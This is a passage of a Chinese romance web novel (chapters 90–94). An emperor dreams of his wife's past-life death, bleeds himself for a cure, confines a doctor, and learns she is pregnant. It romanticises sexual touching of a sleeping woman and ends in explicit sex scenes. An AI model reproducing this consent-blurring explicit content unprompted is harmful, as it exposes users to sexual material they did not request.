谢昭凌醒来后好庆幸,在他所经历过的现实里,小菩萨来到了他的身边。 第二日,他看到自己上了战场,受了那险些致命的伤后,他没有从战场上退下来。 他在军中的威望一日胜过一日,直到他二十四岁他遇到了易知,知道了真相,开始有了复仇的计划。 这也是合理的,毕竟外头没有人在等他,他的一条烂命就算交代在沙场中,也无人知晓,无人在意。他想回,又能回到哪儿呢?这个世界上早就没有一个属于他的家了。 第三日,他梦到自己反水,将柳三给设计弄死了,他吞并了柳三的全部势力,据为己有。 因为暴君日渐昏聩,不少人慕名来投奔,其中包括褚玄英,于是他的队伍越来越壮大,离西京也越来越近。 终于到了第四日。 谢昭凌有预感,这次他会在梦里见到他的爱人。 果然,进入梦境以后,他看到了他的女孩。 才从刑场下救下来的人,身上还穿着囚服,散乱的长发披在肩上,人瘦得可怕,跪在那里,小小一团,让人很想抱进怀里。 她抬起头,他瞧见那双眼睛黑亮灵动,是他在这世上见过的最好看的眼睛。 她一定吃过很多苦,谢昭凌看到了她眼睛里有他熟悉的求死的意志,但与此同时,他又看出了坚韧与希望。 也是,家破人亡,亲人接连惨死在面前,若不坚强,不心存希望,早就活不下去了。 谢昭凌让她起身,她笔直地站在大殿之上,身形单薄,犹如一根漂浮的蒲苇,寻不到来处,又不知该去往何方。 他平生头一次有了怜惜的感觉。 他想,哪怕不是为了兑现承诺,他也想爱护这个女孩一辈子。 第五日,他梦到自己向她告白,被无声拒绝。而后很长的一段时间里,他小心翼翼地爱着她,终于打动了这只被蛇咬过的战战兢兢的小兔子。 之后的几个月,他和她睡在一起,却恪守着分寸,不唐突不冒犯,哪怕身体有了反应,也要等她睡着后自己悄悄纾解。 她每日都喝很多的药,夜里睡得沉,他就像个登徒子,偷偷牵起人家的手,按在他那不安分的慾根上。 一次一次,贪得无厌。 终有一日,被从噩梦中惊醒的她发现,他索性不再装,不再忍耐。 在她娇羞推拒的动作里,哄着她从了自己。 谢昭凌:“……” 谢昭凌:? 清晨醒来,他垂眸看向怀里的人,神情复杂。 原来这就是她的梦。 原来在她的梦里,他过得这样惨。 只能靠着她的一双手过活。 谢昭凌再一次庆幸,走上了一条与梦中完全不同的路。 后来几日谢昭凌的心情格外好。 只是乔姝月发现,他有时醒来,总是一副意犹未尽又感慨万千的表情。 细细品来,还有些遗憾? 也不知他在遗憾什么。 问起他做了什么梦,他又变了一副嘴脸。 笑眯眯地拽着她的胳膊,拉她坐到自己的大腿上。 一手勾着她的腰,一手去解她的裙子。 得意洋洋,藏不住笑意地道:“梦里有一只可怜虫。” 梦里的男人只能将人抱着,不像他,可以拥有她的全部。 只是谢昭凌没有得意多久,梦里的场景就全变了。 他变得一日比一日阴沉。 他的梦境里,爱人的病情在恶化。 她有时夜里醒来,会悄悄从他的怀里退出去,翻身朝里,捂着嘴不住地咳。 她压抑着声音,并没有动静。但她在他身旁经历痛苦,他怎会不知道呢? 她不想让他担心,那他就闭着眼睛,假装睡着,假装从未醒来。 身侧的床榻微微震动,谢昭凌感觉自己的心碎成了一片又一片。 后来她以为他睡得熟,就不再偷偷躲出去。 或许是一个人被病痛折磨太过无助,她终于愿意缩在他的怀里,头抵在他胸膛,颤抖地咳。 等她艰难睡去,他才睁开通红的眼,感受着那股持久的锥心的痛楚,心疼地将她护在怀中。 她一日比一日消瘦,但在他面前,从来不肯流露出软弱。 他配合着她,人前一副轻松的模样,而夜深人静时,脸色表情愈发冷淡落寞。 谢昭凌再次醒来,开始抗拒入睡。 他隐隐有种直觉,再继续梦下去,或许是一个他无法接纳的结局。 梦的尽头,应该就是她早就透露过的,他们没能携手而终的未来。 夫妻同心,乔姝月不知他遇到了什么难事,但看着他每日这么熬着,心里很不是滋味。 瞒着他找张太医要了一味药,骗他说是太医给她开的用来滋补身子,实则是给他助眠的药。 她近来身子不太好,总感觉困乏,谢昭凌没多心,开药吃再正常不过。 她说嫌苦,非要他陪着一起喝才行。 谢昭凌素来对她的请求难说“不”字,于是就这么上了钩。 两个人一人一口,将一碗药用尽。 睡前她极其主动地纠缠着他,胡闹了好半晌,来了两回后,他终于没撑过去,慢慢睡着了。 梦里,他的爱人死了。 他抱着她已经冰冷的尸首,心中一片荒芜。 转日谢昭凌没有去上早朝。 他独自一人出了宫,直奔吴氏医馆而去。 与吴大夫阔别许旧,早已物是人非。 吴大夫见到御驾亲临,诧异不已。 只一段时间不见,这男人周身的气质便大不相同了。 有种浓烈的帝王的杀伐与威严在,让人不寒而栗,再不敢与之对视。 吴大夫垂着头,莫名觉得,眼前的男人不像是才做皇帝,而是似乎已经权柄在握许久,经年累月身居高位,逐渐养了这通身的贵气与压迫感。 吴大夫赔着小心,试探道:“宫中那么多太医,陛下为何独独来寻老夫?” 男人眸中情绪疏淡,低垂着眼睛,若有所思。 他脑海中挥之不去的,是自己西征归来,挚爱在怀中咽气的画面。 一想到如此,他的胸腔中便陡然而生一股暴戾与悲痛。 那梦实在太真了,直到此刻那股撕心裂肺、痛彻心扉的感觉犹在。 犹如一条绳索紧紧缠绕在他脖子上,那头牵在“命运”的手上,他越想逃,命运便将绳子收得更紧,迫使着他回到原来的轨迹上,将结局看完。 看完了,心也死了。 他渐渐有些分不清梦境和现实。 但不管梦里的画面是真是假,他都要找到破局的办法。 不知该如何面对乔姝月,他只能遵循着本能,来寻求吴大夫的帮忙。 学徒挂上了今日闭馆的牌子,关上门走了。 吴大夫大气不敢喘,静待命令。 “孤曾与您讨教,关于巫医与巫术。” “是,那时老夫说净是骗人的玩意儿。” “孤若告诉你,那些都是确实存在,并且行之有效的呢?” 吴大夫脸色大变,猛地抬头,“不可能!” “为何不可能?”男人冷淡地扯了下唇角,“孤的存在,便是证据。” 谢昭凌没有隐瞒,将他的秘密尽数道来。 在这个世界上,他只将这些事告诉了吴大夫一人,连乔姝月都没说过。 原本那些过往该随着他百年以后一起埋进土里的,可他实在没有办法。 若真如梦里所示,靠着宫里的御医根本不可能将她医治好。 那他只能再想些“歪门邪道”。 吴大夫大惊失色,震惊地久久说不出话来,“陛、陛下,您……” “你曾看到孤身上那些大大小小的伤痕,尤其是手腕上的。”他将袖子卷起,露出伤痕累累的手臂来,“这都是他们取血的证据。” “既然我的血可以让双腿残废的人站起来,那我的血一样可以救她。” 这个“她”是谁,不言而喻,吴大夫都不必问。 也不必问乔姝月的身体是否出现了问题,答案也是显而易见的,能让这男人方寸大乱的,只有那一个答案。 没想到帝王也能有如此情种。 半晌,吴大夫叹了声:“陛下,非是老夫不肯相帮,但……老夫不得不说,您就没有想过吗,或许是那些玩弄巫术的庸医做局骗了你们呢?” 谢昭凌脸色未变,冷静道:“巫医救人的法子孤自会去求证是否可行,你需要做的,是用孤的血继续试验。” 他若真是一点特殊都没有,那当初“巫医大人”为何那么执着于他呢? 他的养父母,整个村子,甚至是整个梧县有头有脸的人,都知道他的存在,他的价值。 谢昭凌眼底闪过期待的光,“不试试,怎么知道没有用呢?” 90-95 第91章 【91】 自从那日逼迫吴大夫制药,他便命人将吴大夫悄悄圈进在宫里。 半个月,谢昭凌派去梧县的密探还未传消息回来,吴大夫那边第一次有了回信。 吴大夫还是同样的说辞,没有变化。 谢昭凌不肯相信,觉得定是自己给的血量太少了。 今日下了朝,他又去见了吴大夫一面。关了老头半个月,人已经再无那日的毕恭毕敬。 吴大夫被暗卫按着,动弹不得,他只得一边挣扎,一边破口大骂: “你这一回一回地取血,就不怕她起疑吗?” “谎称遇刺受了剑伤,可伤口久久不好,她岂能不多想?她又不是傻的!” 谢昭凌置若罔闻,气定神闲坐在椅子上,将倒扣在桌上的茶盅翻起来,而后又将袖子卷到手肘,露出缠着纱布的小臂来,他将包扎拆下,熟练地在原来的伤口上又划了一刀。 他面不改色,冷眼瞧着鲜血一滴一滴流到杯子里,整整一盅。 “都跟你说了多少遍,你的血也是寻常人血,没有特殊功效!” “油盐不进!昏君!!” 听着老头的怒骂,恍惚间又回到当初在乔府养伤的日子。 想到那段时光,就不免想到他和她的小时候。 谢昭凌抿起唇,流露出一个温柔的笑意,而后笑意渐缓,变成了绵长的艰涩的悲伤。 吴大夫的痛骂一停,跟着沉默下来。 半晌,无力道:“罢了,就让能管住你的人去说吧。” 吴大夫一语成谶,当晚乔姝月便来质问。 伤是半个月前受的,这半个月时间她小心翼翼地注意着他的伤势,明明御医说过,半个月时间可以拆纱布,可谢昭凌依旧护着那块伤不给她瞧,也不让太医碰。 这人前科累累,乔姝月顿时就起了疑心,几乎可以断定,他有事瞒着。 她心里难过,明明都彼此坦诚了心意,不可再有所隐瞒。 知道靠问他肯定不说,干脆也不费那个心力,心里赌着气,收拾了包裹回娘家。 谢昭凌晚上回去发现人跑了,又赶忙去负荆请罪。 结果到乔府门外吃了个闭门羹。 乔誉堵在门口,似是恭候多时。好整以暇地抱着肩,四周无人,他也不再有避讳,直言道: “兄长,月儿托我传话,说你若不想解释,就请回吧。” 谢昭凌仰头看了一眼乔府的墙。 乔誉又道:“想翻墙进去?那她只怕会更生气。” 忽而一暗卫无声无息地落地,将一封密信奉上前。 谢昭凌拆开一看,脸色愈发苍白。 他沉默半晌,才道:“请她出来吧,我都告诉她。” “……” 回程路上,乔姝月缩靠在马车一角,不肯分给对方一个眼神。 而谢昭凌也异于往常,沉默地坐在另一侧,垂着眼睛,不知在想什么。 原来真的都是骗人的,他的血不能救人,全都是巫医的阴谋。 两人经历了有史以来的第一次冷战,不过好在持续的时间很短。 乔姝月直直往屋子走,也不顾身后人紧紧追随。 她才道了声关门,谢昭凌便几步跨到她身后,将她用力抱进了怀里。 殿中所有宫女皆屏息退了出去,从外合上门。 乔姝月挣扎了两下,见他纹丝不动,便放弃了。 她淡淡道:“敢问陛下有何吩咐?” 这一声“陛下”,与他梦里两人不相熟时的语气简直是一模一样。 不过细听下来,不如梦里客气疏离,多了许多压抑的恼怒。 谢昭凌弯下腰,在她耳畔轻喃:“阿月,你是病死的,是不是?” 语气虽轻,却是震得她耳朵发麻。 乔姝月瞳仁微缩,蓦地回头。 她望进一片深邃如海的黑眸里,瞬间失去了言语的能力。 男人眼角泛红,哽咽了声:“我终究没能救下你,是不是?” 他曾经尝试过的。 当得知他曾憎恶厌弃的这具身体可以救她时,他不止一次觉得庆幸。 满怀期待地让人用他的血去炼药,可惜皆一无所获。 原来曾经的那一切都是巫医的阴谋。 那人只是想让世人相信他是继大巫医以后可以呈现神迹的人,他精心设计一场骗局,而“捡娃”正是他计划中最关键的一颗棋子。 想要重现神迹,需要一个非当地的血脉。 整个李村,只有“捡娃”是从外头捡来的孩子,是巫医大人需要的“外来血脉”。 而只要他成了众民的信仰,再想要做什么简直易如反掌。 谢昭凌自逃离了童年之地以后,他再没想过要回头看看。 为了她,他主动去探寻自己身世的秘密,主动重归故土,从记忆深处,将掩埋的伤疤挖出来。 可最终他得到了一个更难以接受的真相。 “阿月,我看到了那个结局,我害怕自己守不住你。” 被人打断腿骨的时候,被人钳着脖子往泔水桶里按的时候,在战场上命悬一线的时候。 他这一生经历过太多苦难,没有一次觉得自己挺不过去了。 可当他以一个主观的视角,清晰地去经历她的逝去,他只觉得这辈子不如就死在那一刻。 更令人绝望的是,他发现—— “什么预知梦,那根本就是你亲历过的。” “阿月,你根本已经死过一回了。” 他抱着人,眼眶潮湿。 乔姝月感受到他的崩溃,手足无措地拍着他后背,“阿凌哥哥,你……你在说什么啊?我听不懂。” “都到了这个时候,你还想骗我?” 原本他只是想诈她,可她的肢体反应与说话的语调,无一不在证明,一切都如他直觉猜想的那样。 乔姝月目露迷茫,“你,你怎么会……” 怎么会有那些记忆的呢?难不成重生的不止她一个? “我都梦到了。”他说。 他拉着她到榻前坐下,将手臂上的伤口拆了,“不是想看?” 他说了这半个月来做的一切,说自己幼时的遭遇,说家乡的所有人包括他自己都以为他体质特殊,说吴大夫却做不出来救人的药,又说起巫医的阴谋…… 说着说着,一只手拂在他脸上。 他抬眸,对上女子担忧的目光。 他顿时哑声,只直愣愣地与她对望,而后拉下她的手,忽得长臂一伸,又将她抱进怀里。 “阿月,若你死了,我绝不独活。”他哑声发誓,决绝道,“老天有本事就将我二人的性命就再收了去!” “你别说这种赌气的话,”乔姝月无奈道,“我如今身子好着呢,很久才生一次病,绝不会再重蹈覆辙。” 她前世身体是在狱中给拖垮的,今生被谢昭凌悉心养护,她早忘了病痛是什么滋味。 “我是认真的,阿月,我这条命早就卖给你了,你若不在,我便成了没主的鬼,孤魂野鬼本就不该存在这世上的。” “那这天下你不管了吗?” 他在她面前就像个小孩子,蛮不讲理,不管不顾道:“我连你都护不住,还要这天下做什么。” 乔姝月没再说话,任由他将自己用力到几乎嵌入身体里。 一直抱着,过了好久好久。 她轻轻推了推他。 “阿凌哥哥,我有话要对你说。” 谢昭凌舍不得松手,语气依旧很低落,“就这么说吧。” “那好吧,我……我有些不舒服。” 这一句话立刻触到谢昭凌最敏感的那根弦。 他如同一只被踩了尾巴的猫,浑身的毛都炸了起来。 手忙脚乱放开她,紧张地打量着,“我去叫太医来!” 她忽然抿唇笑了下,欣赏他的表情,从容道:“嗯,去吧。” 要是平时的谢昭凌定然能发觉出不同寻常来,可惜此刻他如惊弓之鸟,有一点风吹草动,都得大动干戈一番。 乔姝月知道苍白的劝慰是没有用的,干脆请大夫来问问,好让他安心。 况且,她这几日一直怀疑一件事,也该确认一下了。 谢昭凌没有一点帝王的稳重,他踉跄跑出门外,对着院里人急声命令。 见他惊慌失措的样子,宫人们以为皇后娘娘出了什么岔子,也都乱了手脚,好一阵兵荒马乱。 太医不出一刻就被人薅了过来。 谢昭凌忍着拔剑的冲动,指着太医道:“治不好她——” 乔姝月忽然笑起来,抢先道:“就让整个太医署的人陪葬?” 谢昭凌被噎了一声,脸色愈发难看。 他这时才察觉到爱人的状态,是前所未有的放松与惬意,不仅不像是身体不适的样子,更有种作壁上观,看他出糗的坏心眼在。 谢昭凌无所谓被她笑话,只要她真的安然无恙,怎样都好。 乔姝月的心情终于感染了他,他的暴躁渐渐平息,冷静下来,只严肃着一张脸,虎视眈眈地站在一旁,盯着太医瞧。 为她诊脉的是前世就一直为她调理身体的张老太医,乔姝月信得过他。 只见老太医先是诧异,而后拧了拧眉,狐疑着问了乔姝月几个问题。 比如近日可常觉得身体乏力,无精打采。 是否嗜睡,难以清醒。 是否觉得食不下咽,没有食欲。 谢昭凌越听脸色越阴沉。 尤其是每个问题都得到乔姝月肯定的回答,谢昭凌心如死灰一般。 他心中胆怯,颤着声开口:“她的身体究竟是怎么一回事?” 后半句“可还有救”卡在嗓子里,怎么都说不出来。 忽见太医连连叩首,高声道贺:“恭喜陛下,娘娘这是有身子了!” 谢昭凌微愣,“有……身子?” 乔姝月懒洋洋地靠在床头,噗嗤一笑,乜他一眼,“就是有身孕了。” 谢昭凌错愕地待在原地。 太医也捂住嘴笑,抬眼瞥向账内,只见皇后娘娘冲他摆手,于是他识趣地退了出去。 在这后宫里,娘娘的话有时比陛下更有威严。 乔姝月自榻上起身,娇柔地往他身上靠。 谢昭凌脑子还没回过神,双臂下意识张开,将她搂住。 “阿凌,你要做父亲了。” 她踮起脚,仰头亲上他湿红的眼角。 “我们早就脱离了原本的命运。” “这是你梦里无论如何都不会看到的结局,”她轻吐幽兰,勾缠着他的脖颈,眼中满是爱恋,“喜欢我送你的这份崭新的人生吗?” 第92章 【92】 他要做父亲了。 这几个字每个谢昭凌都认识,可是合在一起,就变得陌生。 他这一生,只短暂地过了一段有父母疼爱的日子,记事以来,大多数都是悲惨痛苦的回忆。 “爹娘”两个字代表了痛苦与血腥。 而今,他竟也是那代称里的一员了。 然而比起这些,谢昭凌更在意的是乔姝月的身体。 他揽着人,震惊道:“何时的事,为何不告诉我?” 一起这个,乔姝月心里就有气。 她窝在他怀里,抬手捶了一下他胸口,哼了声,嗔道: “还不是你最近心不在焉,心思根本没在我身上。” “我没——”谢昭凌下意识反驳,被她瞪了一眼,顿时偃旗息鼓,心虚地摸了下鼻子,没再吭声,只沉默地将她抱得更紧。 原先不知他在困扰什么,害怕触到他伤心处再添烦恼,所以不敢同他多说。现在知道了他这几日在纠结何事,乔姝月便再无顾虑,理直气壮地跟他翻起旧账来。 “四日前我叫小厨房泡了茶给你,放在往常,你定会看出这是我在想你的意思,会早早回来陪我用晚膳,根本都不用催。可那日我等你到二更你都没回来,我又让玉竹去请你,你推脱说要批奏折,把玉竹挡了回来,有这事没有?” 谢昭凌:“……” 他讪笑着,支支吾吾:“阿月……” 他整理不好心情面对她,一见到她就会想到她在自己怀里咽气的模样,实在是情难自已。 “前日中午,我亲自下厨,给你做了一碗莲花羹送去,你没让我进门,说正在会见重臣。”乔姝月说着说着委屈起来,眼眶微红,埋怨道,“可是我让人在外头等了好久,根本没有人出入,那御书房里只有你一人。” “莫说是现在,就是你梦到的那一世,你都没这样冷待过我!” 从前她只觉得帝王的偏爱是负担,会惶恐不安,避之不及。如今却觉得他的冷漠与疏离似把尖刀,狠狠往人心窝上扎。 她就这么坦然地承认了她活了两辈子,有两世记忆,谢昭凌心脏似被一只大手攥住,将他的整个心房与胸腔都蓦地捏紧。 一时间竟不知是该认错还是该哄她。 她教了他那么多,没有教他在此时该怎么做。 没等他开口,乔姝月先主动地将头在他胸口蹭了蹭,娇声轻斥道: “你倒还怨起我瞒着你来了?错分明都在你。我这些天总觉得乏力没精神,整日困得不行,晚上根本撑不到你回来,早上醒来你也不在跟前,见你一面都难,上哪儿跟你说去。” 她一开始以为是担忧他所以吃不好睡不好,便没有往怀孕上想。直到她的月事晚了好几日还不来,她才隐隐有了猜测。 “抱歉,都是我的错。”谢昭凌一听她这么说,心顿时提到嗓子眼,小心翼翼环着她的腰,提防着她摔倒,紧张道,“现在可有何处不适吗?” “有的,到处都不舒服,你还同我置气。” “我……” 知他要否认,在他怀里仰头,横他一眼,“你在马车上不是在和我生闷气吗?都不来哄我。” “当时在想事情。”谢昭凌心虚地避开她的视线,“以后不会了。” “我看你也知道最近有多冷落我,所以你不敢同我说实话。”她抬手戳戳他胸口,“那番话酝酿了一路吧?” 谢昭凌耳根泛热,“嗯。” 知他者,莫过于妻也。 被喜讯冲昏了头,谢昭凌短暂地忘了“前世”之事。 他扶着人在榻上靠好,又急急忙忙地出去找太医问话。 见他一心又回到她身上,回到了“此时此刻”上,乔姝月这才长舒了口气。 男人再看不见踪影,女子面上那副恃宠而骄慢慢消失,眉间轻拢,染上一抹愁色。 又过了小半个时辰,还不见人回来,乔姝月忍不住让玉竹去请人。 玉竹没动弹,笑道:“在偏殿里召见了数名太医。” 乔姝月一惊:“他找那么多人作甚?!” “还能为何?自然是为了娘娘的身子。” 乔姝月:“……” 果然没一会功夫,一群太医排着长队,鱼贯而入。 整个太医院的太医倾巢而出,全都聚到寝殿,给乔姝月号脉。 乔姝月感觉自己宫里的门槛都要给人踏破了。 每位太医都有自己所擅长的方面,整整一下午,乔姝月全身上下但凡有隐患的还未发作的、或是已有苗头的毛病,全都被太医们看了一遍。 顾虑到她怀有身孕,在用药方面要格外斟酌慎重。 因而在排队看诊、又一一同谢昭凌禀报过后,太医们三五成群地退了出去,回到太医院去研讨乔姝月的药方。 殿中一时间寂静下来,乔姝月恍惚间,似乎看到了前世。 那会她身子每况愈下,陛下也时常将所有太医全都召集在一起,给她看病。 才从刑场上救下来时,她的一条命,稍有不慎便会随风逝去。 是陛下锲而不舍地用名贵的药材吊着她一口气,才有她多活的那几年。 “在想什么?” 谢昭凌将药端来,手揽在她的后背上,将药送到她嘴边。 乔姝月回神,这才发觉自己出神已有大半日光景。 她摇摇头,接过药碗,感慨了声:“在想若是没有你,我该何去何从。” 没有谢昭凌,她就会死在二十岁那一年,毫无转圜的余地。 谢昭凌失落地垂下眼,“我……并未叫你多活几年。” 乔姝月笑道:“多活了三年,是一生中最快乐幸福的三年。” 家族冤屈被洗刷,还叫她体会到了何为情,何为爱,足够了。 她仰头将汤药灌下,眉头都没皱一下,仿佛早已熟悉了这苦味。 将空碗随手搁在榻上,目光坦荡地看着他,笑了笑。 “此生无憾。”她轻描淡写道,“两世皆是如此。” 其实前世还是有一样遗憾的,就是没能与他携手终老。 不过这话若说出来,只怕更要加重他的心理负担,还是不说了吧。 两人自幼青梅竹马一起长大,他可以算是这世上最了解她的人。有些话她没说明,可他尽数皆知。 谢昭凌心中哀恸,情潮涌动,忍不住将她拉到怀中拥吻。 她嘴角的药液还未来得及用帕子拭去,便尽数被他的舌尖卷走。 原来她的药这么苦。 那些梦实在是不够全面,他还想知晓更多关于那一世的画面,他不想让她一个人独自品尝那些苦涩。 “不公平。”他吻得很深,轻咬着她的唇瓣,低喘了两声,“娘子受了那么多苦,我却一点都不记得。” 乔姝月哭笑不得,手撑着他胸膛,一面狼狈地任他索取,一面又不得不安抚回应道:“你是你,他是他……” 其实她的意思是,前世与今生两厢无关。 踏过时空而来的,只有她一人而已。享受当下的生活便好,没必要自讨苦吃,他不记得便是最好的结局,反正现在一切步入正轨,很顺利不是吗? 可是谢昭凌却钻了牛角尖。 “你是你,他是他。” 这句话反复在他脑海中盘桓。 他忽然想起此前许多觉得违和的诡异之处。 想起来刚住进承华殿时,他抱住她,听她失神唤自己“陛下”。 想起她被他抱坐在腿上时,她说他好学,那会他被她的紧致折磨得快要发疯,没顾得上思索她那声突兀却又熟悉的“陛下”。 那些痴缠的夜晚,她被折腾得狠了,偶尔会冒出来这么一声呼唤。 从前只觉得不习惯她这么称呼他,未曾深究过。 如今结合她的话一想…… 她是把他当成了前世的人。 谢昭凌心里陡然生出醋意来。 和觊觎她的那些人都不同,这回他的情敌是自己。 他们有共同的一世,有他没有的回忆。 他只是个局外人。 是她生命里的另一种“假设”。 她意识模糊时,依赖的是另一个时空的他。 谢昭凌感受到前所未有的委屈。 几乎是一瞬间,眼圈变得通红。 为了不让她发现,他只能吻得愈发凶狠。 半眯着眸,看着她因为他的攻势而软成一团,眼角挂泪,他心底的醋意才稍稍退去了一些。 不就是一起共过苦么,那又如何? 他也同她一起经历过苦难与考验。 再说了,她前世受苦的时候,那人还不知在哪儿。 况且不仅共苦,还要同甘才行。他们才一起过了几年,和他哪比得了? 他能为了她放弃所有,性命、江山,他什么都可以不要,那人能吗? “唔……”乔姝月只感觉自己的呼吸被剥夺,半晌都没能得到喘息的机会,胸口憋闷,她羞赧地捶他胸口,含混道,“孩子……小心……” 谢昭凌蓦地撤后,双手捧起她脸颊,黑眸直勾勾地盯着她,待她喘匀了气,将她平放在榻上,又亲了上去。 谢昭凌手撑在她身上,没压到她,双目微红,执着道:“他认识你时,已是高高在上的帝王了是吗?” “什么?” 什么他? 天旋地转,看不清他的脸,也听不懂他的话。 “为何总对他念念不忘?难不成他比我更会讨好你吗?他会的比我多吗?他愿意屈尊降贵,这般爱你?” 床上表现得那么好,定然是身经百战了。不然怎会胜过同她一起长大,对她的喜好了如指掌的他呢? 真是肮脏,龌龊,不检点! “他不洁身自好,可我只有你一人。” 孰好孰坏,这不是一目了然吗? 乔姝月恍惚间抬眸,对上男人期待中小心藏着的几分哀求的眼神。 这是在……等她夸吗? 第93章 【93】 乔姝月遵循本能,夸了他两句。 事实证明,没有什么用。 因为她但凡有回应,就是默认了她的确在比较这二者,的确将两个人分开而论的。 前世的谢昭凌在她心里至今占据重要的地位。 而当初她意乱情迷时唤的“陛下”,确非此生的谢昭凌。 谢昭凌喃喃道:“原来救命之恩,当真能令人铭记一世。” 说来也是,他就是因为她救了他,又对他好,才慢慢沦陷的。虽然后来重逢时,确实对她一见钟情。但情深至此,这些年共同经历的种种都不可或缺。 她那时孤立无援,生死关头,对那人感恩戴德、心生爱慕,亦是情理之中。 为何偏偏是前世的他呢? 这世间的任何一个人,他都有把握能将对方压得毫无反击之力。 可若敌人是另一个他,那…… 谢昭凌的心情大起大落,执拗地认为,前世的他使了不光明的手段,才把她哄得昏了头。 梦里那男人分毫不尊重她的意愿,将她困在书房里吻,还威胁她要当着百官的面…… 总不至于是她就喜欢那样吧? 不可能! “……” 应该不会吧? 谢昭凌心思浮动,抬手放下床帐,就要去扯她的衣裳。 光天化日,朗朗乾坤。 乔姝月陡然清醒,“啪”地一声拍掉他的手,嗔道:“白日呢。” 谢昭凌委屈道:“怎么,他可以,我不行?” 乔姝月被他说得一个头两个大,“你到底在说谁啊?” “谢昭凌。”他薄唇轻启,在她诧异的目光下,冷淡地说出了自己的名字,又补充道,“已经死了的那个。” 乔姝月瞪他:“呸呸呸!岂能胡乱诅咒自己?” 谢昭凌绷着下巴,不吭声。 就咒他就咒他。 又不是什么好人。 乔姝月恼道:“你究竟想怎样?” 多年的“主仆”情谊,叫他早已习惯看她的眼色行事,娶了她以后,他敬重她,爱护她,怜惜她,从没有不顾她意愿行事过。 就连在那事上,他也是看出她沉迷想要,才继续的。 只是女孩家面皮薄,他不戳穿,纵容着由着她恼羞成怒,将过错都推到自己身上。 他这样爱她,哪是那个高傲自大鼻孔朝天的男人能比得了的? 谢昭凌不服气道:“我非要与他争个高下不可。” 难得流露出稚气的一面,他还从未这么有胜负欲过。 乔姝月看着他去掀自己的衣摆,无奈道:“可那不都是你吗?” “不一样,在你心里,我们不一样。”他控诉道,“你自己说的。” 乔姝月真真体会到了什么叫有口难言,这事实在很难掰扯清楚。 他的前世今生的确性格大不相同,毕竟前世的谢昭凌是靠着自己一个人走到了那个位置,而这辈子的他,没有吃过那么多的苦。 但他们内核还是一样的。 同样生于泥沼,却不甘平庸,怜惜这世间的芸芸众生,想要摆脱疾苦的现状。 他只是路走得更加顺畅,在少年时期体会过人的善意,更愿意主动去结交朋友,不再如从前那般,茕茕孑立,踽踽独行。 但无论是坦途还是坎坷,都是他一人走过的。 本质上来说,谢昭凌从未改变过。 所以根本就没什么可比的,他们本来就是一体。 乔姝月想同他好好说道说道,然而他压根不给她机会。 眨眼间,衣裳扔在地,被子将她裹了个严实。 乔姝月红着脸,透过床帐往外看,“人都在外头听着呢。” 白日胡闹,成何体统? 第94章 【94】 谢昭凌埋下头去,也进了被子里,满不在意道:“早都听过百八十回了。” 乔姝月:“……” 想要开口训斥,一张嘴就变了调。 纤细的十指用力抓紧被褥,青色的血管透过白皙的肤显露出来。 “阿、阿凌……” “嗯。” 叫对了称呼,他的动作变得愈发温柔。 乔姝月有些害怕,揪住他的头发,抖着嗓音:“阿凌哥哥,太医说过,不可以的。” 头几个月胎像不稳,应当仔细养胎,不可再如新婚那时一样,次次都竭尽全力,不知疲倦地折腾。 “放心,不做什么。” 温热的掌心轻柔地覆在她的肚子上。 听太医说,小家伙才一月有余。 做父亲是一种很微妙的感觉,谢昭凌形容不上来,只觉得这辈子要他为了她和孩子去死,他半点犹豫都不会有。 可这份珍重若要仔细剖析,谢昭凌觉得,大多数的爱还是给乔姝月的。 潮湿灵活的舍将翘起的藌果卷入口中,细细吸,慢慢吮,拨来扫去,浑身爬上一层鸡皮疙瘩。 “既然那慾,根能满足,想来我这能言善辩的舍头,定也能叫娘子体会到快乐。” 乔姝月脑子里嗡得一声,面色陡然涨得通红。 两辈子加在一起,她都没听谢昭凌说过如此轻浪浮薄的话语。 他与从前,当真是一点都不一样了。 “怎么,娘子在想谁?” 被子不知何时被他掀开,他探出头来,撑在头顶,如鹰如狼一般锐利的目光笔直地刺向她。 压着股执拗的疯劲儿,又带着浓浓的爱意。 “娘子是在想他吗?” 修长的五指在她跟前合拢,掌心蹭过了他刚刚吃过留下的口液。 “不可以想他。”他蛮横霸道,醋意十足,“知道我是谁吗?” “阿凌哥哥。” 他慢条斯理地擦过残留的潮湿,手指不知是有意还是无意地,剐蹭过那颗圆润晶莹。 “阿凌哥哥是你的谁?” 女子牙齿发颤,呜咽着往后缩了缩,“是夫君……” “阿月,我好爱你。” 热烈直白的话语如一碗迷魂汤,泼在乔姝月的头上,大脑变得昏昏沉沉。 “我也爱你,阿凌哥哥。” 这是乔姝月艰难握住自己如流沙一般迅速消散的理智时,说的最后一句完整的话。 被他深邃如旋涡的黑眸摄住了魂魄,没了思考的能力,于是接下来,他想做什么便都畅通无阻。 他望进她涣散的瞳中,笑着矮进被里。 低音徐缓,轻声言道:“我会小心。” 他素来讲信用,说到做到,似在呵护什么易碎的稀世珍宝一般,生怕她出差池。 说他好学,当真不冤枉。 也不知他从哪里弄来的那些书册,更不知他是何时偷偷摸摸看的。 难不成嘴上说着在书房批阅奏折,实则是在偷偷学这些上不得台面的东西。 乔姝月从不知,能有这么多花样。 但凡是支支吾吾,发出意味不明的声音,谢昭凌通通将其视为鼓励。 打仗之时,便讲究一个敌退我进,有来有回。 谢昭凌深谙用兵的道理,换一个地方,照样如鱼得水,应对自如。 他仿佛看到自己又坐于高头大马上,睥睨着面前辽阔的山丘。 那两座山峰挡在眼前,令他仰头时瞧不到她的面容。 低头间,他望见一片水乡,心中一动,顺遂了心意,辗转钻入一条蜿蜒小路。 他看到了一条自雪山流淌而下的溪水。 闻到了,那是甜的。 冰雪般的玉人所化的泉水,滋润着旅者干渴的喉咙。 原来换一个地方品味,更别有一般滋味。 …… 泉眼冒出的水流渐渐匈涌。 乔姝月昂着脖颈,犹如一只鱼儿,想要逃离,想要脱离掌控。 而后感受到一双大掌用力压住了她。 “莫逃。” 他哑声道。 “前世的我,也曾这样讨好你吗?” “虽然是他先遇到你,可是我却比他要幸运。” “阿月,我真的好喜欢你。” 咕咚一声,喉咙中咽下一口细腻的甘甜,他压着声音,低声笑了起来。 不知是那吞咽声,还是他的笑声,竟是惹恼了她。 不自觉地并拢起来,想要将其驱逐。 如同一株被光照射的含羞草,被人看着,就合起了叶子。 可越是遮掩,越是能激起谢昭凌的探索慾。 他双手按于膝上,强势将其分开。 再次探寻幽,密,又被当做外来者,遭到排斥。 溪,泾幽暗、深邃,愈发狭窄。 路途泥,泞,还有层层叠叠的皱,褶将之包裹,令人难以前进。 在她抖着推拒抵抗之时,听出了那几声哭腔中隐约的催促与鼓励。 